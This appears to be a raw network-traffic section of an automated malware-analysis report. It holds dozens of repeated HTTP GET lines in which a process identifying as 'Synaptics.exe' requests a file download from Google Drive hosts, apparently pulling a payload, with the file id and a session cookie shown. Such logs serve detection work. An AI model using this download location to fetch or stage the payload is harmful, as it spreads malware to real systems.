Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
